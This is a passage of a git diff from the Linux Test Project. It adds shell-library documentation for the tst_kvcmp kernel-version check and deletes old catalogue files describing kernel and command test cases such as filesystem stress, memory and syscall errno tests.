+to that, 'EXPECT_FAIL' always redirects the command's stderr to '/dev/null'.
+
+tst_kvcmp
++++++++++
+
+This command compares the currently running kernel version given conditions
+with syntax similar to the shell test command.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# Exit the test if kernel version is older or equal to 2.6.8
+if tst_kvcmp -le 2.6.8; then
+	tst_brk TCONF "Kernel newer than 2.6.8 is needed"
+fi
+
+# Exit the test if kernel is newer than 3.8 and older than 4.0.1
+if tst_kvcmp -gt 3.8 -a -lt 4.0.1; then
+	tst_brk TCONF "Kernel must be older than 3.8 or newer than 4.0.1"
+fi
+-------------------------------------------------------------------------------
+
+[options="header"]
+|=======================================================================
+| expression | description
+| -eq kver   | Returns true if kernel version is equal
+| -ne kver   | Returns true if kernel version is not equal
+| -gt kver   | Returns true if kernel version is greater
+| -ge kver   | Returns true if kernel version is greater or equal
+| -lt kver   | Returns true if kernel version is lesser
+| -le kver   | Returns true if kernel version is lesser or equal
+| -a         | Does logical and between two expressions
+| -o         | Does logical or between two expressions
+|=======================================================================
+
+The format for kernel version has to either be with one dot e.g. '2.6' or with
+two dots e.g. '4.8.1'.
+
 .tst_fs_has_free
 [source,sh]
 -------------------------------------------------------------------------------
@@ -1316,38 +1776,7 @@
 amount of time until it succeeds or until given amount of retries has been
 reached (default is three attempts).
 
-2.3.3 Cleanup
-^^^^^^^^^^^^^
-
-Due to differences between C and shell, the cleanup callback is done using a
-'TST_CLEANUP' shell variable that, if not empty, is evaluated before the test
-exits (either after calling 'tst_exit()' or 'tst_brkm()'). See example below.
-
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-#
-# Test cleanup example
-#
-
-TCID=true01
-TST_TOTAL=1
-. test.sh
-
-cleanup()
-{
-	tst_rmdir
-}
-
-tst_tmpdir
-TST_CLEANUP=cleanup
-
-# Do the test here
-
-tst_exit
--------------------------------------------------------------------------------
-
-2.3.4 Restarting daemons
+2.3.5 Restarting daemons
 ^^^^^^^^^^^^^^^^^^^^^^^^
 
 Restarting system daemons is a complicated task for two reasons.
@@ -1367,7 +1796,7 @@
 | start_daemon()   | Starts daemon, name is passed as first parameter.
 | stop_daemon()    | Stops daemon, name is passed as first parameter.
 | restart_daemon() | Restarts daemon, name is passed as first parameter.
-| status_daemon()  | Returns daemon status, TODO: what is return value?
+| status_daemon()  | Detect daemon status (exit code: 0: running, 1: not running).
 |==============================================================================
 
 .Variables with detected names
@@ -1397,31 +1826,8 @@
 tst_exit
 -------------------------------------------------------------------------------
 
-2.3.5 $PATH and su
-~~~~~~~~~~~~~~~~~~
-
-While some distributions retain paths added to +$PATH+ when doing
-+su user -c "command"+ this does not work at least in Debian. If you want to
-run LTP binaries as a different user you must use 'tst_su' instead which sets
-up +$PATH+ and the runs the command.
-
-.Run test child binary as a test user
-[source,sh]
--------------------------------------------------------------------------------
-#!/bin/sh
-TCID=foo01
-. test.sh
-
-tst_su testusr foo01_child
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "foo failed"
-else
-	tst_resm TPASS "foo passed"
-fi
--------------------------------------------------------------------------------
-
 2.3.6 Access to the checkpoint interface
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The shell library provides an implementation of the checkpoint interface
 compatible with the C version. All TST_CHECKPOINT_* functions are available.
diff --git a/doc/testcases/commands.txt b/doc/testcases/commands.txt
deleted file mode 100644
index 84cb994..0000000
--- a/doc/testcases/commands.txt
+++ /dev/null
@@ -1,170 +0,0 @@
-<testname=ar01>
-	<description>
-		Construct one or more command lines which use options that do not
-		take arguments
-		For each of these invocations
-		Specify the options seperately
-		Group the options together
-		Compare the behavior of the two cases
-		If they behave differently, then fail
-		If none of the cases fail, then pass
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/ade/ar/ar01
-	<\test_location>
-<\testname>
-<testname=ld01>
-	<description>
-		To test the basic functionality of the `ld` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/ade/ld/ld01
-	<\test_location>
-<\testname>
-<testname=ldd01>
-	<description>
-		To test the basic functionality of the `ldd` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/ade/ldd/ldd01
-	<\test_location>
-<\testname>
-<testname=nm01>
-	<description>
-		To test the basic functionality of the `nm` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/ade/nm/nm01
-	<\test_location>
-<\testname>
-<testname=objdump01>
-	<description>
-		Tests the functionality of the `objdump` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/ade/objdump/objdump01
-	<\test_location>
-<\testname>
-<testname=size01>
-	<description>
-		To test the basic functionality of `size`.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/ade/size/size01
-	<\test_location>
-<\testname>
-<testname=cpio_test.sh>
-	<description>
-		Tests the basic functionality of `cpio` command
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/cpio/cpio_tests.sh
-	<\test_location>
-<\testname>
-<testname=cron_test.sh>
-	<description>
-		This testcase tests if crontab <filename> installs the cronjob
-		and cron schedules the job correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/cron/cron_tests.sh
-	<\test_location>
-<\testname>
-<testname=eject_tests.sh>
-	<description>
-		Tests the basic functionality of `eject` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/eject/eject-tests.sh
-	<\test_location>
-<\testname>
-<testname=cp_tests.sh>
-	<description>
-		Test basic functionality of `cp` command
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/fileutils/cp/cp_tests.sh
-	<\test_location>
-<\testname>
-<testname=ln_tests.sh>
-	<description>
-		Test basic functionality of `ln` command
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/fileutils/ln/ln_tests.sh
-	<\test_location>
-<\testname>
-<testname=mkdir_tests.sh>
-	<description>
-		Test basic functionality of `mkdir` command
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/fileutils/mkdir/mkdir_tests.sh
-	<\test_location>
-<\testname>
-<testname=mv_test.sh>
-	<description>
-		Test basic functionality of `mv` command
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/fileutils/mv/mv_tests.sh
-	<\test_location>
-<\testname>
-<testname=gzip_tests.sh>
-	<description>
-		Test basic functionality of `gzip` and `gunzip` command
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/gzip/gzip_tests.sh
-	<\test_location>
-<\testname>
-<testname=logrotate_tests.sh>
-	<description>
-		Test basic functionality of `logrotate` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/logrotate/logrotate_tests.sh
-	<\test_location>
-<\testname>
-<testname=mail_tests.sh>
-	<description>
-		Test basic functionality of `mail` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/mail/mail_tests.sh
-	<\test_location>
-<\testname>
-<testname=tar_tests.sh>
-	<description>
-		Test basic functionality of `tar` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/tar/tar_tests.sh
-	<\test_location>
-<\testname>
-<testname=unzip>
-	<description>
-		Test basic functionality of `unzip` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/commands/unzip
-	<\test_location>
-<\testname>
diff --git a/doc/testcases/kernel.txt b/doc/testcases/kernel.txt
deleted file mode 100644
index fa5d686..0000000
--- a/doc/testcases/kernel.txt
+++ /dev/null
@@ -1,7029 +0,0 @@
-<testname=ltpacpi.sh>
-	<description>
-		ACPI (Advanced Control Power & Integration) testscript for 2.5 kernels.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/device-drivers/acpi/ltpacpi.sh
-	<\test_location>
-<\testname>
-<testname=growfiles>
-	<description>
-		This program will grow a list of files.
-		Each file will grow by grow_incr before the same
-		file grows twice. Each file is open and closed before next file is opened.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/doio/growfiles.c
-	<\test_location>
-<\testname>
-<testname=rwtest>
-	<description>
-		A wrapper for doio and iogen.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=doio>
-	<description>
-		a general purpose io initiator with system call and
-		write logging. See doio.h for the structure which defines
-		what doio requests should look like.
-
-		Currently doio can handle read,write,reada,writea,ssread,
-		sswrite, and many varieties of listio requests.
-		For disk io, if the O_SSD flag is set doio will allocate
-		the appropriate amount of ssd and do the transfer
-
-		thus, doio
-		can handle all of the primitive types of file io.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/doio/doio.c
-	<\test_location>
-<\testname>
-<testname=iogen>
-	<description>
-		a tool for generating file/sds io for a doio process
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/doio/iogen.c
-	<\test_location>
-<\testname>
-<testname=fs_di>
-	<description>
-		A FileSystem Data Integrity test.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/fs_di
-	<\test_location>
-<\testname>
-<testname=fs_inod>
-	<description>
-		Rapidly creates and deletes files through
-		multiple processes running in the background.
-		The user may specify the number of subdirectories
-		to create, the number of files to create (per
-		subdirectory), and the number of times to repeat
-		the creation/deletion cycle.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/fs_inod
-	<\test_location>
-<\testname>
-<testname=fs_maim>
-	<description>
-		Collection of smaller scripts to stress storage management
-		utilities.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/fs_maim
-	<\test_location>
-<\testname>
-<testname=fs_perms>
-	<description>
-		Regression test for Linux filesystem permissions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/fs_perms/fs_perms.c
-	<\test_location>
-<\testname>
-<testname=fsstress>
-	<description>
-		A highly configurable stress test utility that calls most of the main
-		file system syscalls. Originally developed by SGI for XFS testing.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/fsstress/fsstress.c
-	<\test_location>
-<\testname>
-<testname=fsx-linux>
-	<description>
-		Filesystem stress test developed by Apple Computer, Inc.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/fsx-linux/fsx-linux.c
-	<\test_location>
-<\testname>
-<testname=ftest>
-	<description>
-		A collection of file system tests developed by Sequent/IBM.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/ftest
-	<\test_location>
-<\testname>
-<testname=inode>
-	<description>
-		Inode-based stress tests.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/inode
-	<\test_location>
-<\testname>
-<testname=lftest>
-	<description>
-		The purpose of this test is to verify the file size limitations of a filesystem.
-		It writes one buffer at a time and lseeks from the beginning of the file to the
-		end of the last write position. The intent is to test lseek64.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/lftest/lftest.c
-	<\test_location>
-<\testname>
-<testname=linktest>
-	<description>
-		Regression test for max links per file
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/linktest
-	<\test_location>
-<\testname>
-<testname=openfile>
-	<description>
-		Creates files and opens simultaneously
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/openfile/openfile.c
-	<\test_location>
-<\testname>
-<testname=proc>
-	<description>
-		Recursively reads all files within /proc filesystem.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/proc
-	<\test_location>
-<\testname>
-<testname=stream>
-	<description>
-		Collection of tests for testing stream functions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/fs/stream
-	<\test_location>
-<\testname>
-<testname=aio>
-	<description>
-		Collection of asynchronous i/o tests.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/io/aio
-	<\test_location>
-<\testname>
-<testname=direct_io>
-	<description>
-		Collection of direct i/o tests.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/io/direct_io
-	<\test_location>
-<\testname>
-<testname=disktest>
-	<description>
-		Does repeated accesses to a filespec and optionally writes to, reads from,
-		and verifies the data. By default, disktest makes assumptions about
-		the running environment which allows for a quick start of IO generation.
-		However, Disktest has a large number of command line options which can
-		be used to adapt the test for a variety of uses including data integrity,
-		medium integraty, performance, and simple application simulation.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/io/disktest
-	<\test_location>
-<\testname>
-<testname=stress_cd>
-	<description>
-		Creates multiple read threads on the cdrom device.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/io/stress_cd/stress_cd.c
-	<\test_location>
-<\testname>
-<testname=stress_floppy>
-	<description>
-		Tests the reading/writing/formatting on a floppy drive.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/io/stress_floppy
-	<\test_location>
-<\testname>
-<testname=ipc_stress>
-	<description>
-		A collection of tests designed to stress IPC.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/ipc/ipc_stress
-	<\test_location>
-<\testname>
-<testname=pipeio>
-	<description>
-		This tool can be used to beat on system or named pipes.
-		See the help() function below for user information.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/ipc/pipeio/pipeio.c
-	<\test_location>
-<\testname>
-<testname=sem01>
-	<description>
-		Creates a semaphore and two processes. The processes
-		each go through a loop where they semdown, delay for a
-		random amount of time, and semup, so they will almost
-		always be fighting for control of the semaphore.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/ipc/semaphore/sem01.c
-	<\test_location>
-<\testname>
-<testname=sem02>
-	<description>
-		The application creates several threads using pthread_create().
-		One thread performs a semop() with the SEM_UNDO flag set. The
-		change in sempaphore value performed by that semop should be
-		"undone" only when the last pthread exits.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/ipc/semaphore/sem02.c
-	<\test_location>
-<\testname>
-<testname=libmm>
-	<description>
-		Tests the libmm core API.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/libmm
-	<\test_location>
-<\testname>
-<testname=mem01>
-	<description>
-		Test for exercising virtual memory allocation
-		and usage. It is intended to provide a limited exposure of the
-		system swapper, for now.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mem/mem01.c
-	<\test_location>
-<\testname>
-<testname=mem02>
-	<description>
-		Checks that memory can be allocated and freed.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mem/mem02.c
-	<\test_location>
-<\testname>
-<testname=mmapstress>
-	<description>
-		A group of tests for testing mmap().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mmapstress
-	<\test_location>
-<\testname>
-<testname=mtest01>
-	<description>
-		mallocs memory <chunksize> at a time until malloc fails.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest01/mtest01.c
-	<\test_location>
-<\testname>
-<testname=mmstress>
-	<description>
-		Performs General Stress with Race conditions
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest05/mmstress.c
-	<\test_location>
-<\testname>
-<testname=mmap1>
-	<description>
-		Test the LINUX memory manager. The program is aimed at
-		stressing the memory manager by simultanious map/unmap/read
-		by light weight processes, the test is scheduled to run for
-		a mininum of 24 hours.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest06/mmap1.c
-	<\test_location>
-<\testname>
-<testname=mmap2>
-	<description>
-		Test the LINUX memory manager. The program is aimed at
-		stressing the memory manager by repeaded map/write/unmap of a
-		of a large gb size file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest06/mmap2.c
-	<\test_location>
-<\testname>
-<testname=mmap3>
-	<description>
-		Test the LINUX memory manager. The program is aimed at
-		stressing the memory manager by repeaded map/write/unmap
-		of file/memory of random size (maximum 1GB) this is done by
-		multiple processes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest06/mmap3.c
-	<\test_location>
-<\testname>
-<testname=shmat1>
-	<description>
-		Test the LINUX memory manager. The program is aimed at
-		stressing the memory manager by repeaded shmat/write/read/
-		shmatd of file/memory of random size (maximum 1000 * 4096)
-		done by multiple processes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest06/shmat1.c
-	<\test_location>
-<\testname>
-<testname=mallocstress>
-	<description>
-		Stresses the VMM and C library by spawning N threads which
-		malloc blocks of increasing size until malloc returns NULL.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest07/mallocstress.c
-	<\test_location>
-<\testname>
-<testname=shm_test>
-	<description>
-		Stresses memory management subsystem of Linux. Spawns multiple
-		pairs of reader & writer threads. One thread will create the
-		shared segment of random size and write to this memory, the
-		other pair will read from this memory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/mtest07/shm_test.c
-	<\test_location>
-<\testname>
-<testname=page>
-	<description>
-		Tests the behavior of memory paging.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/page
-	<\test_location>
-<\testname>
-<testname=shmt>
-	<description>
-		A collection of shared memory tests.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/shmt
-	<\test_location>
-<\testname>
-<testname=vmtests>
-	<description>
-		Data and stack space VM tests.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/mem/vmtests
-	<\test_location>
-<\testname>
-<testname=create_module>
-	<description>
-		Tests the basic functionality of create_module().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/module/create_module
-	<\test_location>
-<\testname>
-<testname=delete_module>
-	<description>
-		Tests the basic functionality of delete_module().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/module/delete_module
-	<\test_location>
-<\testname>
-<testname=query_module>
-	<description>
-		Tests the basic functionality of query_module().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/module/query_module
-	<\test_location>
-<\testname>
-<testname=hangup01>
-	<description>
-		Writes three messages to a slave pty, with a hangup after each.
-		Verifies all thre messages are received.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/pty/hangup01.c
-	<\test_location>
-<\testname>
-<testname=ptem01>
-	<description>
-		- Tests termio/termios ioctls
-		- Tests window size setting and getting
-		- Tests sending a break
-		- Tests multiple opens of slave side
-		- Tests several simultaneous opens
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/pty/ptem01.c
-	<\test_location>
-<\testname>
-<testname=pty01>
-	<description>
-		- Tests slave locking
-		- Tests slave operations with closed master
-		- Tests operations on master with closed slave
-		- Tests multiple opens on slave side of pty
-		- Tests opening/closing of lots of ptys in parallel.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/pty/pty01.c
-	<\test_location>
-<\testname>
-<testname=clisrv>
-	<description>
-		Read contents of data file. Write each line to socket, then
-		read line back from socket and write to standard output.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/clisrv
-	<\test_location>
-<\testname>
-<testname=ht_enabled>
-	<description>
-		Test for whether HT enabling is the default setting and
-		the kernel option works as expected.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/hyperthreading/ht_enabled
-	<\test_location>
-<\testname>
-<testname=ht_affinity>
-	<description>
-		Test for whether a set of system calls is provided to bind
-		itself or another process to a subset of currently active
-		processors and to get affinity information.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/hyperthreading/ht_affinity
-	<\test_location>
-<\testname>
-<testname=ht_interrupt>
-	<description>
-		Test for SMP interrupt distribution among all logical CPU
-		should not be interfered by HT patch.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/hyperthreading/ht_interrupt
-	<\test_location>
-<\testname>
-<testname=process_stress>
-	<description>
-		Stresses the process management kernel code.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/process_stress
-	<\test_location>
-<\testname>
-<testname=pth_str01>
-	<description>
-		Creates a tree of threads
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/pthreads/pth_str01.c
-	<\test_location>
-<\testname>
-<testname=pth_str02>
-	<description>
-		Creates n threads
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/pthreads/pth_str02.c
-	<\test_location>
-<\testname>
-<testname=pth_str03>
-	<description>
-		Creates a tree of threads does calculations, and
-		returns result to parent
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/pthreads/pth_str03.c
-	<\test_location>
-<\testname>
-<testname=sched_stress>
-	<description>
-		Stress the scheduler code of the kernel.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/sched_stress
-	<\test_location>
-<\testname>
-<testname=time-schedule>
-	<description>
-		Tool to test how long a context switch takes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/tool/time-schedule.c
-	<\test_location>
-<\testname>
-<testname=trace_sched>
-	<description>
-		This utility spawns N tasks, each task sets its priority by
-		making a system call to the scheduler. The thread function
-		reads the priority that tbe schedular sets for this task and
-		also reads from /proc the processor this task last executed on
-		the information that is gathered by the thread function may
-		be in real-time. Its only an approximation.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/sched/tool/trace_sched.c
-	<\test_location>
-<\testname>
-<testname=abort01>
-	<description>
-		Basic test for abort(3).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/abort/abort01.c
-	<\test_location>
-<\testname>
-<testname=accept01>
-	<description>
-		Verify that accept() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/accept/accept01.c
-	<\test_location>
-<\testname>
-<testname=access01>
-	<description>
-		Basic test for access(2) using F_OK, R_OK, W_OK, and X_OK arguments.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/access/access01.c
-	<\test_location>
-<\testname>
-<testname=access02>
-	<description>
-		Verify that access() succeeds to check the read/write/execute permissions
-		on a file if the mode argument passed was R_OK/W_OK/X_OK.
-
-		Also verify that, access() succeeds to test the accessibility of the file
-		referred to by symbolic link if the pathname points to a symbolic link.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/access/access02.c
-	<\test_location>
-<\testname>
-<testname=access03>
-	<description>
-		EFAULT error testing for access(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/access/access03.c
-	<\test_location>
-<\testname>
-<testname=access04>
-	<description>
-		Verify that,
-		1. access() fails with -1 return value and sets errno to EACCES
-		if the permission bits of the file mode do not permit the
-		requested (Read/Write/Execute) access.
-		2. access() fails with -1 return value and sets errno to EINVAL
-		if the specified access mode argument is invalid.
-		3. access() fails with -1 return value and sets errno to EFAULT
-		if the pathname points outside allocate address space for the
-		process.
-		4. access() fails with -1 return value and sets errno to ENOENT
-		if the specified file doesn't exist (or pathname is NULL).
-		5. access() fails with -1 return value and sets errno to ENAMETOOLONG
-		if the pathname size is > PATH_MAX characters.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/access/access04.c
-	<\test_location>
-<\testname>
-<testname=access05>
-	<description>
-		Verify that access() succeeds to check the existance of a file if
-		search access is permitted on the pathname of the specified file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/access/access05.c
-	<\test_location>
-<\testname>
-<testname=acct01>
-	<description>
-		Issues calls to acct() and tests the returned values against expected
-		results
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/acct/acct01.c
-	<\test_location>
-<\testname>
-<testname=adjtimex01>
-	<description>
-		Basic test for adjtimex().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/adjtimex/adjtimex01.c
-	<\test_location>
-<\testname>
-<testname=adjtimex02>
-	<description>
-		Tests for error conditions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/adjtimex/adjtimex02.c
-	<\test_location>
-<\testname>
-<testname=alarm01>
-	<description>
-		Basic test for alarm(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/alarm/alarm01.c
-	<\test_location>
-<\testname>
-<testname=alarm02>
-	<description>
-		Boundary Value Test for alarm(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/alarm/alarm02.c
-	<\test_location>
-<\testname>
-<testname=alarm03>
-	<description>
-		Alarm(2) cleared by a fork.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/alarm/alarm03.c
-	<\test_location>
-<\testname>
-<testname=alarm04>
-	<description>
-		Check that when an alarm request is made, the signal SIGALRM is received
-		even after the process has done an exec().
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=alarm05>
-	<description>
-		Check the functionality of the Alarm system call when the time input
-		parameter is non zero.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/alarm/alarm05.c
-	<\test_location>
-<\testname>
-<testname=alarm06>
-	<description>
-		Check the functionality of the Alarm system call when the time input
-		parameter is zero.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/alarm/alarm06.c
-	<\test_location>
-<\testname>
-<testname=alarm07>
-	<description>
-		Check the functionality of the alarm() when the time input
-		parameter is non-zero and the process does a fork.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/alarm/alarm07.c
-	<\test_location>
-<\testname>
-<testname=asyncio02>
-	<description>
-		Write/close flushes data to the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/asyncio/asyncio02.c
-	<\test_location>
-<\testname>
-<testname=bind01>
-	<description>
-		Verify that bind() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/bind/bind01.c
-	<\test_location>
-<\testname>
-<testname=brk01>
-	<description>
-		Test the basic functionality of brk().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/brk/brk01.c
-	<\test_location>
-<\testname>
-<testname=capget01>
-	<description>
-		Test the basic functionality of capget().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/capget/capget01.c
-	<\test_location>
-<\testname>
-<testname=capget02>
-	<description>
-		Test the error conditions of capget().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/capget/capget02.c
-	<\test_location>
-<\testname>
-<testname=capset01>
-	<description>
-		Test the basic functionality of capset().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/capset/capset01.c
-	<\test_location>
-<\testname>
-<testname=capset02>
-	<description>
-		Test the error conditions of capset().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/capset/capset02.c
-	<\test_location>
-<\testname>
-<testname=chdir01>
-	<description>
-		Check proper operation of chdir(): tests whether the
-		system call can it change the current, working directory, and find a
-		file there? Will it fail on a non-directory entry ?
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chdir/chdir01.c
-	<\test_location>
-<\testname>
-<testname=chdir02>
-	<description>
-		Basic test for chdir(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chdir/chdir02.c
-	<\test_location>
-<\testname>
-<testname=chdir03>
-	<description>
-		Testcase for testing that chdir(2) sets EACCES errno
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chdir/chdir03.c
-	<\test_location>
-<\testname>
-<testname=chdir04>
-	<description>
-		Testcase to test whether chdir(2) sets errno correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chdir/chdir04.c
-	<\test_location>
-<\testname>
-<testname=chmod01>
-	<description>
-		Verify that, chmod(2) succeeds when used to change the mode permissions
-		of a file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chmod/chmod01.c
-	<\test_location>
-<\testname>
-<testname=chmod02>
-	<description>
-		Basic test for chmod(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chmod/chmod02.c
-	<\test_location>
-<\testname>
-<testname=chmod03>
-	<description>
-		Verify that, chmod(2) will succeed to change the mode of a file
-		and set the sticky bit on it if invoked by non-root (uid != 0)
-		process with the following constraints,
-		- the process is the owner of the file.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is equal to the group ID of the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chmod/chmod03.c
-	<\test_location>
-<\testname>
-<testname=chmod04>
-	<description>
-		Verify that, chmod(2) will succeed to change the mode of a directory
-		and set the sticky bit on it if invoked by non-root (uid != 0) process
-		with the following constraints,
-		- the process is the owner of the directory.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is equal to the group ID of the directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chmod/chmod04.c
-	<\test_location>
-<\testname>
-<testname=chmod05>
-	<description>
-		Verify that, chmod(2) will succeed to change the mode of a directory
-		but fails to set the setgid bit on it if invoked by non-root (uid != 0)
-		process with the following constraints,
-		- the process is the owner of the directory.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is not equal to the group ID of the directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chmod/chmod05.c
-	<\test_location>
-<\testname>
-<testname=chmod06>
-	<description>
-		Verify that,
-		1) chmod(2) returns -1 and sets errno to EPERM if the effective user id
-		of process does not match the owner of the file and the process is
-		not super user.
-		2) chmod(2) returns -1 and sets errno to EACCES if search permission is
-		denied on a component of the path prefix.
-		3) chmod(2) returns -1 and sets errno to EFAULT if pathname points
-		outside user's accessible address space.
-		4) chmod(2) returns -1 and sets errno to ENAMETOOLONG if the pathname
-		component is too long.
-		5) chmod(2) returns -1 and sets errno to ENOTDIR if the directory
-		component in pathname is not a directory.
-		6) chmod(2) returns -1 and sets errno to ENOENT if the specified file
-		does not exists.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/chmod/chmod06.c
-	<\test_location>
-<\testname>
-<testname=chmod07>
-	<description>
-		Verify that, chmod(2) will succeed to change the mode of a file/directory
-		and sets the sticky bit on it if invoked by root (uid = 0) process with
-		the following constraints,
-		- the process is not the owner of the file/directory.
-		- the effective group ID or one of the supplementary group ID's of the
-		process is equal to the group ID of the file/directory.
-
-	<\description>
-	<test_location>
